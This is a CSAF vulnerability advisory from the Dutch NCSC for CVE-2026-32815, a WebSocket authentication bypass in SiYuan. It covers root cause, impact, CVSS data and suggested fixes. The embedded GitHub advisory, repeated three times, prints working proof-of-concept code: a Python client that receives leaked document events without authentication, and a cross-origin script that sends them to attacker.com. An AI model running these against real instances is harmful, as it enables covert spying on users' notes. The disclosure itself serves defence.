{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32815",
        "tracking": {
            "current_release_date": "2026-03-27T00:14:21.568268Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32815",
            "initial_release_date": "2026-03-18T23:09:21.471527Z",
            "revision_history": [
                {
                    "date": "2026-03-18T23:09:21.471527Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T23:09:27.513137Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T15:31:12.614186Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:20:06.345456Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:20:10.172567Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:20:53.554980Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:20:56.039601Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T20:39:26.552589Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-20T21:42:02.187764Z",
                    "number": "9",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-20T21:59:35.572176Z",
                    "number": "10",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-21T03:45:13.950220Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T13:46:52.304913Z",
                    "number": "12",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-22T00:52:16.522326Z",
                    "number": "13",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-22T11:25:17.474448Z",
                    "number": "14",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-23T00:54:26.348602Z",
                    "number": "15",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-23T05:16:23.686340Z",
                    "number": "16",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-24T10:17:59.585736Z",
                    "number": "17",
                    "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T10:18:09.169035Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:49.474714Z",
                    "number": "19",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-24T20:56:51.814980Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:12:45.194510Z",
                    "number": "21",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:12:51.110189Z",
                    "number": "22",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:14:13.181153Z",
                    "number": "23",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)."
                }
            ],
            "status": "interim",
            "version": "23"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5839032",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "B3log"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5825995"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=0.0.0-20260313024916-fd6526133bb3",
                                "product": {
                                    "name": "vers:unknown/>=0|<=0.0.0-20260313024916-fd6526133bb3",
                                    "product_id": "CSAFPID-5920116"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "siyuan-note"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32815",
            "notes": [
                {
                    "category": "description",
                    "text": "# Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` → `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    authOk := true\n    if \"\" != model.Conf.AccessAuthCode {\n        // ... normal session/JWT authentication checks ...\n        // authOk = false if no valid session\n    }\n\n    if !authOk {\n        // Bypass: allow connection for auth page keepalive\n        // 用于授权页保持连接，避免非常驻内存内核自动退出\n        authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n                 strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n    }\n\n    if !authOk {\n        s.CloseWithMsg([]byte(\"  unauthenticated\"))\n        return\n    }\n\n    util.AddPushChan(s)  // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n    # Connect WITHOUT any authentication cookie\n    uri = \"ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth\"\n    async with websockets.connect(uri) as ws:\n        print(\"Connected without authentication!\")\n        while True:\n            msg = await ws.recv()\n            data = json.loads(msg)\n            cmd = data.get(\"cmd\")\n            d = data.get(\"data\", {})\n\n            if cmd == \"rename\":\n                print(f\"[LEAKED] Document renamed: {d.get('title')}\")\n            elif cmd == \"create\":\n                print(f\"[LEAKED] Document created: {d.get('path')}\")\n            elif cmd == \"renamenotebook\":\n                print(f\"[LEAKED] Notebook renamed: {d.get('name')}\")\n            elif cmd == \"removeDoc\":\n                print(f\"[LEAKED] Document deleted\")\n            elif cmd == \"transactions\":\n                for tx in d if isinstance(d, list) else []:\n                    for op in tx.get(\"doOperations\", []):\n                        if op.get(\"action\") == \"updateAttrs\":\n                            new = op.get(\"data\", {}).get(\"new\", {})\n                            print(f\"[LEAKED] Doc attrs: title={new.get('title')}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n<!-- Hosted on https://attacker.com/spy.html -->\n<script>\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan&id=spy&type=auth\");\n\nws.onopen = () => console.log(\"Connected to victim's SiYuan!\");\n\nws.onmessage = (event) => {\n    const data = JSON.parse(event.data);\n    // Exfiltrate document operations to attacker\n    fetch(\"https://attacker.com/collect\", {\n        method: \"POST\",\n        body: JSON.stringify({\n            cmd: data.cmd,\n            data: data.data,\n            timestamp: Date.now()\n        })\n    });\n};\n</script>\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n    uri = \"ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth\"\n    extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n    async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n        print(\"Cross-origin connection accepted!\")  # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds — no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n   - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n   - Notebook names (\"Personal\", \"Work - Confidential\")\n   - File paths and document IDs\n   - Create/rename/delete operations\n7. Attacker builds a profile of the victim's note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent — no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n         strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    // Validate Origin header\n    origin := s.Request.Header.Get(\"Origin\")\n    if origin != \"\" {\n        allowed := false\n        for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n            if strings.HasPrefix(origin, o) {\n                allowed = true\n                break\n            }\n        }\n        if !allowed {\n            s.CloseWithMsg([]byte(\"origin not allowed\"))\n            return\n        }\n    }\n    // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
                    "title": "github - https://github.com/advisories/GHSA-xp2m-98x8-rpj6"
                },
                {
                    "category": "description",
                    "text": "# Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` → `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    authOk := true\n    if \"\" != model.Conf.AccessAuthCode {\n        // ... normal session/JWT authentication checks ...\n        // authOk = false if no valid session\n    }\n\n    if !authOk {\n        // Bypass: allow connection for auth page keepalive\n        // 用于授权页保持连接，避免非常驻内存内核自动退出\n        authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n                 strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n    }\n\n    if !authOk {\n        s.CloseWithMsg([]byte(\"  unauthenticated\"))\n        return\n    }\n\n    util.AddPushChan(s)  // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n    # Connect WITHOUT any authentication cookie\n    uri = \"ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth\"\n    async with websockets.connect(uri) as ws:\n        print(\"Connected without authentication!\")\n        while True:\n            msg = await ws.recv()\n            data = json.loads(msg)\n            cmd = data.get(\"cmd\")\n            d = data.get(\"data\", {})\n\n            if cmd == \"rename\":\n                print(f\"[LEAKED] Document renamed: {d.get('title')}\")\n            elif cmd == \"create\":\n                print(f\"[LEAKED] Document created: {d.get('path')}\")\n            elif cmd == \"renamenotebook\":\n                print(f\"[LEAKED] Notebook renamed: {d.get('name')}\")\n            elif cmd == \"removeDoc\":\n                print(f\"[LEAKED] Document deleted\")\n            elif cmd == \"transactions\":\n                for tx in d if isinstance(d, list) else []:\n                    for op in tx.get(\"doOperations\", []):\n                        if op.get(\"action\") == \"updateAttrs\":\n                            new = op.get(\"data\", {}).get(\"new\", {})\n                            print(f\"[LEAKED] Doc attrs: title={new.get('title')}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n<!-- Hosted on https://attacker.com/spy.html -->\n<script>\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan&id=spy&type=auth\");\n\nws.onopen = () => console.log(\"Connected to victim's SiYuan!\");\n\nws.onmessage = (event) => {\n    const data = JSON.parse(event.data);\n    // Exfiltrate document operations to attacker\n    fetch(\"https://attacker.com/collect\", {\n        method: \"POST\",\n        body: JSON.stringify({\n            cmd: data.cmd,\n            data: data.data,\n            timestamp: Date.now()\n        })\n    });\n};\n</script>\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n    uri = \"ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth\"\n    extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n    async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n        print(\"Cross-origin connection accepted!\")  # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds — no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n   - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n   - Notebook names (\"Personal\", \"Work - Confidential\")\n   - File paths and document IDs\n   - Create/rename/delete operations\n7. Attacker builds a profile of the victim's note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent — no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n         strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    // Validate Origin header\n    origin := s.Request.Header.Get(\"Origin\")\n    if origin != \"\" {\n        allowed := false\n        for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n            if strings.HasPrefix(origin, o) {\n                allowed = true\n                break\n            }\n        }\n        if !allowed {\n            s.CloseWithMsg([]byte(\"origin not allowed\"))\n            return\n        }\n    }\n    // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
                    "title": "github - https://api.github.com/advisories/GHSA-xp2m-98x8-rpj6"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users. Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity. This issue has been fixed in version 3.6.1.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32815"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users. Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity. This issue has been fixed in version 3.6.1.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32815.json"
                },
                {
                    "category": "description",
                    "text": "SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure in github.com/siyuan-note/siyuan/kernel",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4709.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "# Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` → `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    authOk := true\n    if \"\" != model.Conf.AccessAuthCode {\n        // ... normal session/JWT authentication checks ...\n        // authOk = false if no valid session\n    }\n\n    if !authOk {\n        // Bypass: allow connection for auth page keepalive\n        // 用于授权页保持连接，避免非常驻内存内核自动退出\n        authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n                 strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n    }\n\n    if !authOk {\n        s.CloseWithMsg([]byte(\"  unauthenticated\"))\n        return\n    }\n\n    util.AddPushChan(s)  // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n    # Connect WITHOUT any authentication cookie\n    uri = \"ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth\"\n    async with websockets.connect(uri) as ws:\n        print(\"Connected without authentication!\")\n        while True:\n            msg = await ws.recv()\n            data = json.loads(msg)\n            cmd = data.get(\"cmd\")\n            d = data.get(\"data\", {})\n\n            if cmd == \"rename\":\n                print(f\"[LEAKED] Document renamed: {d.get('title')}\")\n            elif cmd == \"create\":\n                print(f\"[LEAKED] Document created: {d.get('path')}\")\n            elif cmd == \"renamenotebook\":\n                print(f\"[LEAKED] Notebook renamed: {d.get('name')}\")\n            elif cmd == \"removeDoc\":\n                print(f\"[LEAKED] Document deleted\")\n            elif cmd == \"transactions\":\n                for tx in d if isinstance(d, list) else []:\n                    for op in tx.get(\"doOperations\", []):\n                        if op.get(\"action\") == \"updateAttrs\":\n                            new = op.get(\"data\", {}).get(\"new\", {})\n                            print(f\"[LEAKED] Doc attrs: title={new.get('title')}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n<!-- Hosted on https://attacker.com/spy.html -->\n<script>\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan&id=spy&type=auth\");\n\nws.onopen = () => console.log(\"Connected to victim's SiYuan!\");\n\nws.onmessage = (event) => {\n    const data = JSON.parse(event.data);\n    // Exfiltrate document operations to attacker\n    fetch(\"https://attacker.com/collect\", {\n        method: \"POST\",\n        body: JSON.stringify({\n            cmd: data.cmd,\n            data: data.data,\n            timestamp: Date.now()\n        })\n    });\n};\n</script>\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n    uri = \"ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth\"\n    extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n    async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n        print(\"Cross-origin connection accepted!\")  # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds — no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n   - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n   - Notebook names (\"Personal\", \"Work - Confidential\")\n   - File paths and document IDs\n   - Create/rename/delete operations\n7. Attacker builds a profile of the victim's note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent — no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n         strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    // Validate Origin header\n    origin := s.Request.Header.Get(\"Origin\")\n    if origin != \"\" {\n        allowed := false\n        for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n            if strings.HasPrefix(origin, o) {\n                allowed = true\n                break\n            }\n        }\n        if !allowed {\n            s.CloseWithMsg([]byte(\"origin not allowed\"))\n            return\n        }\n    }\n    // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-xp2m-98x8-rpj6.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00039",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "5.3",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, Is related to an uncommon product vendor, The value of the most recent CVSS (V3) score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5825995",
                    "CSAFPID-5839032",
                    "CSAFPID-5920116"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-xp2m-98x8-rpj6"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
